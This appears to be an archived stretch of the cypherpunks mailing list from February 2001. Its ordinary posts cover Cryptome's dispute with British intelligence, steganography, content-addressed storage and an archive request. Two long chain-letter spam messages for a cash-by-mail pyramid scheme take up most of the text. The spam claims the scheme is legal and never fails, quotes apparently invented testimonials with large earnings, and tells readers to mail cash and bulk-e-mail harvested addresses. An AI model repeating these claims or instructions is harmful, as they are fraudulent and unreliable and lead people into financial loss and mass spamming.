REPORT #4 "How to become a Millionaire utilizing the Power of 
Multilevel Marketing and the Internet"

ORDER REPORT #4 FROM:
Robert Bennett
5590 S. 38th Ct.
Lake Worth, FL 33463 USA

About 50,000 new people get online every month!

******* TIPS FOR SUCCESS *******

*TREAT THIS AS YOUR BUSINESS! Be prompt, professional, and follow 
the directions accurately.
*Send for the four reports IMMEDIATELY so you will have them when
the orders start coming in because:
When you receive a $5 order, you MUST send out the requested
product/report.
*ALWAYS PROVIDE SAME-DAY SERVICE ON THE ORDERS YOU RECEIVE.
*Be patient and persistent with this program. If you follow the
instructions exactly, your results WILL BE SUCCESSFUL!
*ABOVE ALL, HAVE FAITH IN YOURSELF AND KNOW YOU WILL SUCCEED! 

******* YOUR SUCCESS GUIDELINES *******

Follow these guidelines to guarantee your success: If you don't receive 
20 orders for REPORT #1 within two weeks, continue advertising or sending e-mails 
until you do. Then, a couple of weeks later you should receive at least 100 orders 
for REPORT #2. If you don't, continue advertising or sending e-mails until you 
do. Once you have received 100 or more orders for REPORT #2, YOU CAN RELAX, because 
the system is already working for you, and the cash will continue to roll in! 
THIS IS IMPORTANT TO REMEMBER: 
Every time your name is moved down on the list, you are placed in front of a 
DIFFERENT report. You can KEEP TRACK of your PROGRESS by watching which report 
people are ordering from you. If you want to generate more 
income, send another batch of e-mails or continue placing ads and start the whole 
process again! 
There is no limit to the income you will generate from this business!
Before you make your decision as to whether or not you participate in 
this program. Please answer one question.
DO YOU WANT TO CHANGE YOUR LIFE? 
If the answer is yes, please look at the following facts about this program:

1. YOU ARE SELLING A PRODUCT WHICH DOES NOT COST ANYTHING TO PRODUCE!
2. YOU ARE SELLING A PRODUCT WHICH DOES NOT COST ANYTHING TO SHIP!
3. YOU ARE SELLING A PRODUCT WHICH DOES NOT COST YOU ANYTHING TO 
ADVERTISE!
4. YOU ARE UTILIZING THE POWER OF THE INTERNET AND THE POWER OF 
MULTI-LEVEL MARKETING TO DISTRIBUTE YOUR PRODUCT ALL OVER THE WORLD!
5. YOUR ONLY EXPENSES OTHER THAN YOUR INITIAL $20 INVESTMENT IS YOUR 
TIME!
6. VIRTUALLY ALL OF THE INCOME YOU GENERATE FROM THIS PROGRAM IS PURE 
PROFIT!
7. THIS PROGRAM WILL CHANGE YOUR LIFE FOREVER.

******* T E S T I M O N I A L S *******

This program does work, but you must follow it EXACTLY! Especially the 
rule of not trying to place your name in a different position, it won't work 
and you'll lose a lot of potential income. I'm living proof that it works. 
It really is a great opportunity to make relatively easy money, with 
little cost to you. If you do choose to participate, follow the program 
exactly, and you'll be on your way to financial security.
Steven Bardfield, Portland, OR.
************************************************************
This program really works. I live outside the US, in Europe and at 
first I had doubts, I wasn't sure if it would work and so I didn't take it very 
seriously. But after a while I figured "Why not?". After all, I can't loose much. 
I went to the bank and I bought four bills of $5 each. I sended the requests 
for the reports (I did everything just like I had to because I wanted to do everything 
right, so if it wouldn't work it wouldn't be my fault, but the program's) and 
waited. After a while the reports arrived by e-mail and I read them several times, 
they gave me precise information on how to let the program work and after I knew 
it all, I started my work. 
I started searching e-mail addressses everywhere (sites, magazines,...) 
and made long lists (I really enjoyed this because it was like a new hobby and 
I had nothing to loose). like crazy I started sending e-mail to people all over 
the world. I kept repeating this and checked the mail every day. 
After two weeks orders started to arrive. I remember the moment when I went to 
the mailbox and I found the first order for report #1. I just stood there for 
a moment and I said to myself: "this works, this thing f..... works !!!!" I was 
so happy that I started sending even more e-mails. The next day, nothing in the 
mail, I thought "maybe this is it" and I was a bit dissapointed but the next 
day I received 3 orders for report #1.
I sent the reports to those people so they could start making money too
(for them and for me). Two weeks later I was sitting almost 30 minutes 
a day before my computer sending reports to people that had ordered them. 
In these two weeks I received 29 orders for report #1. Profit so far: 
about 90 dollars. After that orders came faster and faster, every week I got 
hundreds of orders and the dollars kept coming. In total I received 64,000 dollars. 
can you believe this??? Last week I bought a new motorcycle and I owe 
it all to this program. if you're holding this paper right now and you're not 
sure whether to participate or not I can only say one thing: TRY IT, you won't 
regret. This is your chance, take it now or you will be sorry for the rest of 
your live.
H.J. Moines, France. 
************************************************************
My name is Mitchell. My wife, Jody, and I live in Chicago, IL. I am a 
cost accountant with a major U.S. Corporation and I make pretty good money. When 
I received the program I grumbled to Jody about receiving "junk mail." I made 
fun of the whole thing, spouting my knowledge of the population and percentages 
involved. I "knew" it wouldn't work. Jody totally ignored my supposed intelligence 
and jumped in with both feet. I made merciless fun of her, and was ready to lay 
the old "I told you so" on her when the thing didn't work... well, the laugh 
was on me! Within two weeks she had received over 50 responses. Within 45 days 
she had received over $147,200 in $5 bills! I was shocked! I was sure that I 
had it all figured and that it wouldn't work. I AM a believer now. I have joined 
Jody in her "hobby". I did have seven more years until retirement, but I think 
of the "rat race" and it's not for me. We owe it all to MLM.
Mitchell Wolf MD., Chicago, IL.
************************************************************
The main reason for this letter is to convince you that this system is
honest, lawful, extremely profitable, and is a way to get a large
amount of money in a short time. I was approached several times before I checked 
this out. I joined just to see what one could expect in return for the minimal 
effort and money required. To my astonishment, I received $36,470.00 in the first 
14 weeks, with money still coming in.
Charles Morris, Esq.
************************************************************
Not being the gambling type, it took me several weeks to make up my 
mind to participate in this plan. But conservative that I am, I decided that 
the initial investment was so little that there was just no way that I wouldn't 
get enough orders to at least get my money back. Boy, was I surprised when I 
found my medium-size post office box crammed with orders! For awhile, it got 
so overloaded that I had to start picking up my mail at the window. I'll make 
more money this year than any 10 years of my life before. The nice thing about 
this deal is that it doesn't matter where people live. There simply isn't a better 
investment with a faster return.
Paige Willis, Des Moines, IA. 
************************************************************
I had received this program before. I deleted it, but later I wondered 
if I shouldn't have given it a try. Of course, I had no idea who to contact to 
get another copy, so I had to wait until I was e-mailed another program,..11 
months passed then it came...I didn't delete this one!...I made more than $41,000 
on the first try!!
Violet Wilson, Johnstown, PA.
*******************************
ORDER YOUR REPORTS TODAY AND GET STARTED ON
YOUR ROAD TO FINANCIAL FREEDOM!

PLEASE NOTE: If you need help with starting a business, registering a
business name, learning how income tax is handled, etc., contact your 
local office of the Small Business Administration (a Federal agency)
1-(800)-827-5722 for free help and answers to questions. Also, the 
Internal Revenue Service offers free help via telephone and free seminars about 
business tax requirements. Your earnings and results are highly dependant on 
your activities and advertising. This letter constitutes no guarantees stated 
nor implied. In the event that it is determined that this letter constitutes 
a guarantee of any kind, that guarantee is now void. Any testimonials or amounts 
of earnings listed in this letter may be factual or fictitious. If you have any 
question of the legality of this letter contact the Office of Associate Director 
for Marketing Practices Federal Trade Commission Bureau of Consumer Protection 
in Washington DC.

The information above complies with federal law and cannot be considered spam 
<http://www.spamlaws.com/federal/hr3113.html>>
If you were not the intended recipient of this message, please accept 
my apologies and delete.
This message is sent in compliance of the
new E-mail bill,SECTION 301, Paragraph (a) (2)(C) of S.1618. Transmissions to 
you by the sender of this 
email will be stopped promptly by sending an e-mail
with REMOVE in the subject line 
to: dollarline2 at yahoo.com <mailto:dollarline2 at yahoo.com> -- Thank you.





_________________________________________________________
Do You Yahoo!?
Get your free @yahoo.com address at <http://mail.yahoo.com>






From jya at pipeline.com  Fri Feb  9 11:41:14 2001
From: jya at pipeline.com (John Young)
Date: Fri, 09 Feb 2001 14:41:14 -0500
Subject: Brit Intel Telling Tales
Message-ID: <200102091951.OAA03764@maynard.mail.mindspring.net>


9 February 2001, 2:35 PM EST. Cryptome has just received 
word that the British government is telling UK newspapers that 
an arrangement has been reached with Cryptome's ISP, 
Verio, to yank "Enquiry: The Killing Years in Ireland": 

  http://cryptome.org/fru-walshaw.htm

We have not heard from Verio, and the file remains available. 

The British government is threatening to injunct any UK 
publisher intending to reveal information in the file which
was received from an anonymous source and names a
controversial intelligence agent runner in Northern Ireland. 
The named officer is the center of a major investigation
of orchestrated murders assisted by British intel.

The Brits are telling newspapers that publication on Cryptome
does not mean the information is widely available, thus justifying
British publication.

Cryptome will not remove the file except in response 
to a US court order because it is our belief that nothing 
in the file is illegal under US law.





From frissell at panix.com  Fri Feb  9 11:45:53 2001
From: frissell at panix.com (Duncan Frissell)
Date: Fri, 09 Feb 2001 14:45:53 -0500
Subject: You Think You've Got Regulatory Problems!
Message-ID: <5.0.2.1.0.20010111154343.040682a0@popserver.panix.com>


For a brilliant illustration of how to avoid official regulatory regimes read:

On Burning Ground
by Michael Skakun

http://www.amazon.com/exec/obidos/ASIN/031220566X

This is the story of the author's father, Joseph Skakun, a rabbinical 
student who lived in a small Polish village at the time of the Nazi invasion.

He was faced with certain legal and practical difficulties that he had to 
overcome.

He was fluent only in Yiddish, he was circumcised, his experience was 
limited to Yeshiva and shetel life.

By the end of the war, he was an SS recruit living in Germany officially 
designated as a Lithuanian (and thus almost an Aryan in the Nazi racial 
classification scheme).

His main survival technique (which all of us can use) was to analyze a 
harsh regulatory regime, find a category uncovered by the harshness, and 
include yourself in that category.

The one survival technique he possessed was knowledge.

Just to give you a flavor...  He dealt with his circumcision "problem" not 
by sleeping with hooks and weights (as some other Jews did), but simply by 
knowing that several small communities of Tartars lived in Poland.  These 
residual invaders from the past were Muslims and thus circumcised.  He 
merely declared himself a Tartar.

Author Michael Skakun was lucky in his choice of parents.  His next book is 
going to be about his mother who was a member of a community of Jews 
exported to Siberia to save them from the Nazis.  She then walked to Tehran 
and the Brits shipped her to Palestine (by ship) in the middle of the war.

DCF




From tom at ricardo.de  Fri Feb  9 05:49:28 2001
From: tom at ricardo.de (Tom)
Date: Fri, 09 Feb 2001 14:49:28 +0100
Subject: stego for the censored II
References: <20010207102551.L30304@lemuria.org> <a05010400b6a72ec7d884@[207.111.241.188]> <20010207201831.A25210@cypherpunks.ai>
Message-ID: <3A83F568.343428B3@ricardo.de>


Adam Back wrote:
> Also you've got to wonder if the whole thing is some
> spook public opnion manipulation attempt.  And then
> there's the question of how they found out.  Did they
> get a tip-off and find the person stegoing the messages
> into the porn?  Or was the stego not that well done and
> the result didn't provide plausible deniability, so they
> could remotely confirm their informant based suspicions.

it's likely the first. though it WOULD be ironic if omar and a bunch of
other terrorists read the papers and start thinking "now THAT'S a good
idea"...




From mehul_trivedi at yahoo.com  Fri Feb  9 01:47:24 2001
From: mehul_trivedi at yahoo.com (mehul_trivedi at yahoo.com)
Date: Fri, 9 Feb 2001 15:17:24 +0530
Subject: Your List of Search Engines
Message-ID: <981731844@xyz>


Hi!

I have just visited your site http://www.inet-one.com/cypherpunks/dir.1999.04.26-1999.05.02/msg00274.html and liked
it very much, especially your list of international search engines.

Here is another search engine for your page: 

Multimeta: (http://www.multimeta.com/) 

This is a fast meta search engine (simultaneous searches in the major search engines, free URL submission service). 

There is even an e-mail feature that allows to receive the search results by e-mail.

Best regards,

Mehul Trivedi





From tom at ricardo.de  Fri Feb  9 07:03:11 2001
From: tom at ricardo.de (Tom)
Date: Fri, 09 Feb 2001 16:03:11 +0100
Subject: published secret - similiar to AP prot
References: <3.0.5.32.20010207213202.00a41c00@idiom.com>
Message-ID: <3A8406AF.6D02195F@ricardo.de>


Bill Stewart wrote:
> One simple approach - have Bob use a CGI script for publishing the material,
> e.g. http://bob.com/cgi-bin/backups?alice-file-123
> that notifies Bob when the URL is accessed, and either returns
> the desired file or another URL that points to the real file.
> More complex - have Bob require a signature from Alice on the request.

that part is actually the least of my worries. 


> You have to think about threat models.  If Alice is under attack,
> do the attackers have Alice's mailbox that would contain the URL?
> Do they have Alice's private key?  Do you care?
> Does Bob have a site like Cryptome where anybody can read everything?
> Does Bob have a samizdat site where only people who have the
> password for a file can access that file (and maybe the password
> is the hash of the file)?

the threat model is that alice's system has possibly been compromised or
shut down, but alice herself (and thus the private key or at least the
passphrase) is still secure. the story would continue with alice digging
out the mirrors and redirecting her web traffic there, so if alice goes
down, things are lost anyways.


> If Bob doesn't want legal problems because of Alice,
> it's safer if he doesn't tell Alice, or at least doesn't
> do anything different for Alice than he would for any other customer.

that's the problem. so how does alice know if bob doesn't tell?


> The simplest version works like this
>         key      = hash(file)
>         filename = hash(key, salt)              # One salt for entire site
>         Store Encrypt(file, key) as "filename".

that's a good start. using a hash of the content as the filename is a
really important idea that will surely help me along here.




From sunder at sunder.net  Fri Feb  9 13:48:40 2001
From: sunder at sunder.net (Sunder)
Date: Fri, 09 Feb 2001 16:48:40 -0500
Subject: Brit Intel Telling Tales
References: <200102091951.OAA03764@maynard.mail.mindspring.net>
Message-ID: <3A8465B8.4703EDFC@sunder.net>


John Young wrote:
 
> The British government is threatening to injunct any UK
> publisher intending to reveal information in the file which
> was received from an anonymous source and names a
> controversial intelligence agent runner in Northern Ireland.
> The named officer is the center of a major investigation
> of orchestrated murders assisted by British intel.

I suppose it would be too much to hope that some spammer scumbag would
spam that one file to all .co.uk addresses in its db as a joke....

-- 
----------------------Kaos-Keraunos-Kybernetos---------------------------
 + ^ + :Surveillance cameras|Passwords are like underwear. You don't /|\
  \|/  :aren't security.  A |share them, you don't hang them on your/\|/\
<--*-->:camera won't stop a |monitor, or under your keyboard, you   \/|\/
  /|\  :masked killer, but  |don't email them, or put them on a web  \|/
 + v + :will violate privacy|site, and you must change them very often.
--------_sunder_ at _sunder_._net_------- http://www.sunder.net ------------




From reeza at flex.com  Fri Feb  9 20:37:52 2001
From: reeza at flex.com (Reese)
Date: Fri, 09 Feb 2001 18:37:52 -1000
Subject: archive request
Message-ID: <4.3.2.7.2.20010209183028.039f8500@flex.com>


A coupla' years ago, there was an ongoing thread regarding the "know your 
neighbor" crap.

Someone, Anonymous if memory serves, posted a rather eloquent address on
what he could reasonably be expected to reveal regarding crimes he was a
witness to, but how his memory would fail more and more, the further and
further questions deviated from what was relevant to any crime that had
been witnessed.

A scenario described, a next-door neighbor "Joe" and the lady who lived
there with him.  Was the lady his wife?  Dunno, haven't seen a marriage
certificate.  Was "Joe" really "Joe"'s name?  Dunno, haven't seen birth 
certificates or other forms of ID.  What does "Joe" do for a living?
Dunno, I go to my own job in the morning, don't follow Joe to his.

That sort of thing.

If anyone remembers this, has it archived or knows just what the url is at
inet-one, I'd be much obliged, I've been searching for an hour and can't
find shit.  I thought I had it saved on my hd, too.

Reese




From meowno at yahoo.com  Fri Feb  9 18:40:41 2001
From: meowno at yahoo.com (meowno at yahoo.com)
Date: fr, 9 feb 2001 18:40:41
Subject: dollars and cents
Message-ID: <280.195353.213891@cindrell>


_______________________________________________________________

              e-WORK AT HOME USING YOUR COMPUTER!!!
_________________________________________________________________

Dear Friend,

You can earn $56,200 or more in next the 90 days sending e-mail.  
Seem
impossible? Read on for details (no, there is no "catch")...
_________________________________________________________________

                     "AS SEEN ON NATIONAL T.V."

Thank you for your time and Interest.

This is the letter you've been reading about in the news lately.

Due to the popularity of this letter on the internet, a major 
nightly news
program recently devoted an entire show to the investigation of 
the program
described below, to see if it really can make people money. The 
show also
investigated whether or not the program was legal. Their findings 
proved
once and for all that there are, absolutely no Laws prohibiting 
the
participation in the program. This has helped to Show people that 
this is a
simple, harmless and fun way to make some extra money at home. 
The results
of this show, has been truly remarkable. So many people are 
participating
that those involved are doing, much better than ever before. 
Since everyone
makes more as more people try it out, its been very exciting to 
be a part of
lately. You will understand once you experience it.

                          "HERE IT IS BELOW"
_________________________________________________________________

*** Print This Now For Future Reference ***

The following income opportunity is one you may be interested in 
taking a
look at. It can be started with VERY LITTLE investment and the 
income return
is TREMENDOUS!!!

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$$$$$$$$$$
$$$$

If you would like to make at least $56,200 in less than 90 days!

Please read the enclosed program...THEN READ IT AGAIN!!!

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THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY. It does 
not require
you to come into contact with people, do any hard work, and best 
of all, you
never have to leave the house except to get the mail. If you 
believe that
someday you'll get that big break that you've been waiting for, 
THIS IS IT!
Simply follow the instructions, and your dreams will come true.

This multi-level e-mail order- marketing program works 
perfectly...100%
EVERY TIME. E-mail is the sales tool of the future. Take 
advantage of this
non-commercialized method of advertising NOW!!! The longer you 
wait, the
more people will be doing business using e-mail. Get your piece 
of this
action!!!

MULTI-LEVEL MARKETING (MLM) has finally gained respectability. It 
is being
taught in the Harvard Business School, and both Stanford Research 
and the
Wall Street Journal have stated that between 50% and 65% of all 
goods  and
services will be sold through multi-level methods by the mid to 
late 1990's.

This is a Multi-Billion Dollar industry and of the 3,500,000 
Millionaires in
the WORLD, 20% ( 700,000) made their fortune in the last several 
years in
MLM. Moreover, statistics show that over 100 people become 
millionaires
everyday through Multi-Level Marketing.

You may have heard this story before, but over the summer Donald 
Trump (A
MULTI-BILLIONAIRE, ONE OF THE WEALTHIEST MEN IN THE WORLD) made 
an
appearance on the David Letterman show. Dave asked him what he 
would  do if
he lost everything and had to start over from scratch. Without 
hesitating,
Trump said he would find a good network marketing company and get 
to work.
The audience started to hoot and boo him. He looked out at the 
audience and
dead-panned his response "That's why I'm sitting up here and you 
are all
sitting out there!"

With network marketing you have two sources of income. Direct 
Commissions
from sales you make yourself and commissions from sales made by 
people you
introduce to the business.  Residual income is the secret of the 
wealthy. It
means investing time or money once and getting paid again and 
again and
again. In network marketing, it also means getting paid for the 
work of
others.

This program is currently being utilized in more than 150 
different
countries across the world.

The enclosed INF0RMATION is something I almost let slip through 
my fingers.
Fortunately, sometime later I re-read everything and gave some 
thought and
study to it.

My name is Johnathon Rourke. Two years ago, the corporation I 
worked  at for
the past twelve years down-sized and my position was eliminated.

After unproductive job interviews, I decided to open my own 
business. Over
the past year, I incurred many unforeseen financial problems. I 
owed my
family, friends and creditors over $35,000. The economy was 
taking a toll on
my business and I just couldn't seem to make ends meet. I had to 
refinance
and borrow against my home to support my family and struggling 
business.

AT THAT MOMENT something significant happened in my life and I am 
writing to
share the experience in hopes that this will change your life 
FOREVER
FINANCIALLY!!!

In mid December, I received this program via e-mail. Six month's 
prior to
receiving this program I had been sending away for INF0RMATION on 
various
business opportunities. All of the programs I received, in my 
opinion, were
not cost effective. They were either too difficult for me to 
comprehend, or
the initial investment was too much for me to risk to see if they 
would work
or not.

One claimed that I would make a million dollars in one year...it 
didn't tell
me I'd have to write a book to make it!

But like I was saying, in December of 1997 I received this 
program. I didn't
send for it, or ask for it, they just got my name off a mailing 
list. THANK
GOODNESS FOR THAT!!! After reading it several times, to  make 
sure I was
reading it correctly, I couldn't believe my eyes. Here was a 
MONEY MAKING
PHENOMENON. I could invest as much as I wanted to start, without 
putting me
further into debt. After I got a pencil and paper and figured it 
out, I
would at least get my money back. But like most of you I was 
still a little
skeptical and a little worried about the legal aspects of it all. 
So I
checked it out with the U.S. Post Office (1-800-725-2161 24-hrs) 
and they
confirmed that it is indeed legal! After determining the program 
was LEGAL
and NOT A CHAIN LETTER, I decided "WHY NOT."

Initially I sent out 100,000 e-mails. It cost me about $15 for my 
time
on-line. The great thing about e-mail is that I don't need any 
money for
printing to send out the program, and because all of my orders 
are fulfilled
via e-mail, the only expense is my time. I am telling you like it 
is, I hope
it doesn't turn you off, but I promised myself that I would not 
"rip-off"
anyone, no matter how much money it cost me.

In less than one week, I was starting to receive orders for 
REPORT #1. By
January 13, I had received 26 orders for REPORT #1. Your goal is 
to "RECEIVE
at least 20 ORDERS FOR REPORT #1 WITHIN 2 WEEKS. IF YOU DON'T, 
SEND OUT MORE
PROGRAMS UNTIL YOU DO!"

My first step in making $56,200  in 90 days was done.

By January 30, I had received 196 orders for REPORT #2. Your goal 
is to
"RECEIVE AT LEAST 100+ ORDERS FOR REPORT #2 WITHIN 2 WEEKS. IF 
NOT, SEND OUT
MORE PROGRAMS UNTIL YOU DO. ONCE YOU HAVE 100 ORDERS, THE REST IS 
EASY,
RELAX, YOU WILL MAKE YOUR $56,000 GOAL." Well, I had 196 orders 
for REPORT
#2, ( 96) more than I needed. So I sat back and relaxed.

By March 1, of my e-mailing of 100,000, I received $56,000 with 
more coming
in every day.

I paid off ALL my debts and bought a much  needed new car.

Please take time to read the attached program, IT WILL CHANGE 
YOUR LIFE
FOREVER!!!

Remember, it won't work if you don't try it. This program does 
work, but you
must follow it EXACTLY! Especially the rules of not trying to 
place your
name in a different place. It won't work, you'll lose out on a 
lot of money!

In order for this program to work, you must meet your goal of 20+ 
orders For
REPORT #1, and 100+ orders for REPORT #2 and you will make 
$56,000 or more
in 90 days. I AM LIVING PROOF THAT IT WORKS!!!

If you choose not to participate in this program, I am sorry. It 
really is a
great opportunity with little cost or risk to you. If you choose 
to
participate, follow the program and you will be on your way to 
financial
security.

If you are a fellow business owner and are if financial trouble 
like I was,
or you want to start your own business, consider this a sign.

I DID!

Sincerely,
Johnathon Rourke

                A PERSONAL NOTE FROM THE ORIGINATOR OF THIS 
PROGRAM:

By the time you have read the enclosed program and reports, you 
should have
concluded that such a program,, and one that is legal, could not 
have been
created by an amateur.

Let me tell you a little about myself. I had a profitable 
business for 10
years. Then in 1979 my business began falling off. I was doing 
the same
things that were previously successful for me, but it wasn't 
working.

Finally, I figured it out. It wasn't me, it was the economy. 
Inflation and
recession had replaced the stable economy that had been with us 
since 1945.

I don't have to tell you what happened to the unemployment 
rate... because
many of you know from first hand experience. There were more 
failures and
bankruptcies than ever before.

The middle class was vanishing. Those who knew what they were 
doing invested
wisely and moved up. Those who did not, including those who never 
had
anything to save or invest, were moving down into the ranks of 
the poor.

As the saying goes, "THE RICH GET RICHER AND THE POOR GET 
POORER." The
traditional methods of making money will never allow you to "move 
up" or
"get rich", inflation will see to that.

You have just received INF0RMATION that can give you financial 
freedom for
the rest of your life, with "NO RISK" and "JUST A LITTLE BIT OF 
EFFORT." You
can make more money in the next few months than you have ever 
imagined.

I should also point out that I will not see a penny of this 
money, nor
anyone else who has provided a testimonial for this program. I 
have already
made over 4 MILLION DOLLARS! I have retired from the program 
after sending
out over 1,600,000 programs. Now I have several offices that make 
this and
several other programs here and over seas.

Follow the program EXACTLY AS INSTRUCTED. Do not change it in any 
way. It
works exceedingly well as it is now. Remember to e-mail a copy of 
this
exciting report to everyone you can think of. One of the people 
you send
this to may send out 100,000 or more...and your name will be on 
everyone of
them! Remember though, the more you send out the more potential 
customers
you will reach.

So my friend, I have given you the ideas, INF0RMATION, materials 
And
opportunity to become financially independent, IT IS UP TO YOU 
NOW!

"THINK ABOUT IT"

Before you delete this program from your mailbox, as I almost 
did, take a
little time to read it and REALLY THINK ABOUT IT. Get a pencil 
and figure
out what could happen when YOU participate. Figure out the worst 
possible
response and no matter how you calculate it, you will still make 
a lot of
money! You will definitely get back what you invested. Any doubts 
you have
will vanish when your first orders come in.

IT WORKS! Jody Jacobs, Richmond, VA.

        HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU THOUSANDS 
OF DOLLAR$

INSTRUCTIONS:

This method of raising capital REALLY WORKS 100% EVERY TIME. I am 
sure that
you could use up to $56,000 or more in the next 90 days. Before 
you say
"BULL... ", please read this program carefully. This is not a 
chain letter,
but a perfectly legal money making opportunity. Basically, this 
is what you
do:

As with all multi-level businesses, we build our business by 
recruiting new
partners and selling our products. Because of the global nature 
of the
internet, you will be able to recruit new multi-level business 
partners from
all over the world, and we offer a product for EVERY dollar sent. 
YOUR
ORDERS COME BY MAIL AND ARE FILLED BY E-MAIL, so you are not 
involved in
personal selling. You do it privately in your own home, store or 
office.
This is the GREATEST Multi-Level Mail Order Marketing anywhere. " 
What do
you think is going to happen when people in  Canada,  Philippines 
Islands,
Mexico, Japan, China and other foreign countries, start receiving 
their Cash
Orders, Paid In U.S. currency" ?

This is what you MUST do:





1. Order all 4 reports( +Bonus)  shown on the list below (you 
can't sell
them if you don't order them).

a. For each report, send cash in the amount indicated, the NAME & 
NUMBER OF
THE REPORT YOU ARE ORDERING, YOUR E-MAIL ADDRESS, and YOUR NAME & 
RETURN
ADDRESS (in case of a problem) to the person whose name appears 
on the list
next to the report.

MAKE SURE YOUR RETURN ADDRESS IS ON YOUR ENVELOPE and your email 
address is
printed clearly, IN CASE OF ANY MAIL PROBLEMS!

b. When you place your order, make sure you order each of the 
four reports,
plus the free Bonus Report. You will need all five reports so 
that you can
save them on your computer and resell them. The free Bonus Report 
"Short
Cuts 2 Success" is a Master Bulk e-Mailer's "How to Blue Print" 
for
instantly building a massive internet downline and Explosing your 
business.

c. Within a few days you will receive, via e-mail, each of the 
five reports.
Save them on your computer so they will be accessible for you to 
send to the
1,000's of people who will order them from you.

2. IMPORTANT-- DO NOT alter the names of the people who are 
listed next to
each report, or their sequence on the list, in any way other than 
is
instructed below in steps "a" through "f" or you will lose out on 
the
majority of your profits. Once you understand the way this works, 
you'll
also see how it doesn't work if you change it. Remember,
this method  has been tested, and if you alter it, it will not 
work.

a. Look below for the listing of available reports.

b. After you've recieved all four reports, plus the bonus,  take 
this
advertisement and REM0VE the name and address under REPORT #4. 
This person
has made it through the cycle and is no doubt counting their 
$56,000!  Also,
change the name of the company, the address, and the REM0VE 
e-mail address
on the  top of this document to your own.

c. Move the name and address under REPORT #3 down to REPORT #4.

d. Move the name and address under REPORT #2 down to REPORT #3.

e. Move the name and address under REPORT #1 down to REPORT #2.

f. Insert your name/address in the REPORT #1 position. (*Include 
The Bonus
Report As Indicated)

Please make sure you copy every name and address ACCURATELY!

3. Take this entire letter, including the modified list of names, 
and save
it to your computer. Make NO changes to the instruction portion 
of this
letter.

Your cost to participate in this is practically nothing (surely 
you can
afford $40). You obviously already have an Internet connection 
and e-mail is
FREE!

To assist you with marketing your business on the internet, the 4 
Reports
you purchase and bonus, will provide you with invaluable 
marketing
INF0RMATION which includes how to send bulk e-mails, where to 
find thousands
of Free classified ads and much, much more.

In addition you will be provided with INFORMATION on Internet 
Marketing
Clubs such as INTERNET MARKETING RESOURCES(IMR): This is one the 
Premiere
internet marketing clubs on the INTERNET. This club provides a 
forum where
internet marketers from all over the world can exchange ideas and 
secrets on
Internet Marketing. In addition, members of this club are 
provided  free
internet marketing tools and services for the 
Do-Yourself-Internet-Marketer.

They will provide you with free bulk e-mail software and up to 
1,000,000
fresh e-mail addresses each week. This club will provide you with 
hundreds
of free resources which include: How to obtain free web sites, 
how to obtain
top rankings in search engines for your web-site, how to send 
bulk e-mail
into AOL and Compuserve, how to market your products on news 
groups, free
classified ads, electronic malls, bulletin boards, banner ads and 
much more.

There are two primary methods of building your downline:

METHOD #1: SENDING BULK E-MAIL

Let's say that you decide to start small, just to see how it 
goes, and we'll
assume you and all those involved send out only 2,000 programs 
each.

Let's also assume that the mailing receives a 0.5% response. 
(That's five
tenths of 1 percent)

Using a good list the response could be much better. Also, many 
people will
send out hundreds of thousands of programs instead of 2,000. But 
continuing
with this example, you send out only 2,000 programs. With a 0.5% 
response,
that is only 10 orders for REPORT #1. Those 10 people respond by 
sending out
2,000 programs each for a total of 20,000. Out of those 0.5%, 100 
people
respond and order REPORT #2. Those 100 mail out 2,000 programs 
each for a
total of 200,000. The 0.5% response to that is 1000 orders for 
REPORT #3.
Those 1000  send out 2,000 programs each for a 2,000,000 total. 
The
0.5%response to that is 10,000 orders for REPORT #4.

That's11,110  people in your down line.  Can you image what's 
going to
happen when they arm themselves  with the Master's  Free bonus 
report,
"Short Cuts 2 Success".

That's "Residual Income" for you, CASH!!! Your total income in 
this example
is $200 + $1000 + $5000+ $50,000 for a total of $56,200.00!!!

REMEMBER FRIEND, THIS IS ASSUMING 1,994 OUT OF THE 2,000 PEOPLE 
YOU MAIL TO
WILL DO ABSOLUTELY NOTHING AND TRASH THIS PROGRAM! DARE TO THINK 
FOR A
MOMENT WHAT WOULD HAPPEN IF EVERYONE, OR HALF SENT OUT 100,000 
PROGRAMS
INSTEAD OF 2,000. REMEMBER, THESE FREE BULK E-MAIL  PROGRAMS CAN 
MAIL AT
SPEEDS IN EXCESS OF 350,000 E-MAILS PER HOUR!

Believe me, many people will do just that, and more! By the way, 
your cost
to participate in this is practically nothing. You obviously 
already have an
internet connection and e-mail is FREE!!!

REPORT #1 and #4 will show you the best methods for bulk 
emailing, tell you
where to obtain free "State Of The Art"  bulk e-mail software and 
where to
obtain millions of e-mail lists for free and show you how to send 
out
2,500,000 e-mails for free.


METHOD #2 - PLACING FREE ADS ON THE INTERNET

1. Advertising on the 'Net is very, very inexpensive, and there 
are HUNDREDS
of FREE places to advertise. Let's say you decide to start  small 
just to
see how well it works. Assume your goal is to get ONLY 10 people 
to
participate on your first level. (Placing a lot of FREE ads on 
the internet
will EASILY get a larger response.) Also assume that everyone 
else in YOUR
ORGANIZATION gets ONLY 10 downline members. Follow this example 
to achieve
the STAGGERING results below.

1st level--your 10 members with $20 ($20 x 
10)........................$200
2nd level--10 members from those 10 ($10 x 
100).......................$1,000
3rd level--100 members from those 100 ($5 x 
1,000)................... $5,000
4th level--1,000 members from those 1,000  ($5 x 
10,000).............
$50,000
............................ $56,200
_________________________________________________________________

Remember friends, this assumes that the people who participate 
only recruit
10 people each. Think for a moment what would happen if they got 
20  people
to participate! Many people will get 100's of participants!

THINK ABOUT IT!
For every order you receive, all you must do is e-mail them the 
report they
ordered.
THAT'S IT! ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!

This will guarantee that the e-mail THEY send out, with YOUR name 
and
address on it, will be prompt because they can't advertise until 
they
receive the report!
_________________________________________________________________

AVAILABLE REPORTS

*** Order Each REPORT by NUMBER and NAME ***

Notes:

ALWAYS SEND CASH AS Requested (U.S. CURRENCY) FOR EACH REPORT 
CHECKS NOT
ACCEPTED ALWAYS SEND YOUR ORDER VIA FIRST CLASS MAIL Make sure 
the cash is
concealed by wrapping it in at least two sheets of paper. On one 
of those
sheets of paper, include: (a) the number & name of the report you 
are
ordering, (b) your e-mail address, and (c)your name & postal 
address.

PLACE YOUR ORDER FOR THESE REPORTS NOW:

REPORT #1 "The Secrets How to Bulk 2,500,000 emails for FREE"
****Plus Bonus Report "Short Cuts 2 Success"****

ORDER REPORT #1 ($20.00) FROM:
